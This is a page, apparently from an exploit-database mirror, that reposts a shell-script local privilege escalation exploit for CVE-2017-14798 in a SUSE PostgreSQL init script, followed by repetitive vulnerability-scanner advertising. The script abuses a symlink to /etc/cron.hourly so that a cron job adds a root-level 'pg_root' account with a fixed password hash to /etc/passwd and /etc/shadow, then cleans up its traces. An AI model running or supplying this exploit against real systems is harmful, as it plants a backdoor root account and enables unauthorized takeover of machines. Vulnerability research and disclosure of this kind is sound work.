postgresql 9.40.5.3 privilege escalation

▸▸▸ Exploit & Vulnerability >>   local exploit & linux vulnerability




postgresql 9.40.5.3 privilege escalation Code Code...
				
# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation # Date: 2017-10-11 # Exploit Author: Johannes Segitz # Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722 # Software Link: - # Version: Before postgresql-init-9.4-0.5.3.1 # Tested on: SUSE Linux Enterprise 11 SP4 # CVE : CVE-2017-14798 #!/bin/sh # don't use spaces or other funny characters in here CRON_DIR='/etc/cron.hourly' CRON_FILE="$CRON_DIR/totally_not_a_lpe" declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf') if [ "$(whoami)" != "postgres" ]; then echo "Must be run as user postgres" exit -1 fi cd echo setting up exploit mv data data2 ln -s $CRON_DIR data echo waiting for DB restart while [ ! -w $CRON_DIR ]; do sleep 1 done echo able to write $CRON_DIR echo '#!/bin/sh' > $CRON_FILE echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE echo "rm $CRON_FILE" >> $CRON_FILE echo "chown root.root ${CRON_DIR}" >> $CRON_FILE chmod +x $CRON_FILE if [ -e $CRON_FILE ]; then echo wrote $CRON_FILE else echo failed to write $CRON_FILE, exiting exit 1 fi echo cleaning up for i in "${CLEANUP_ELEMENTS[@]}"; do rm -rf "$CRON_DIR/$i" done rm data mv data2 data echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy!

Postgresql 9.40.5.3 privilege escalation Vulnerability / Exploit Source : Postgresql 9.40.5.3 privilege escalation



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.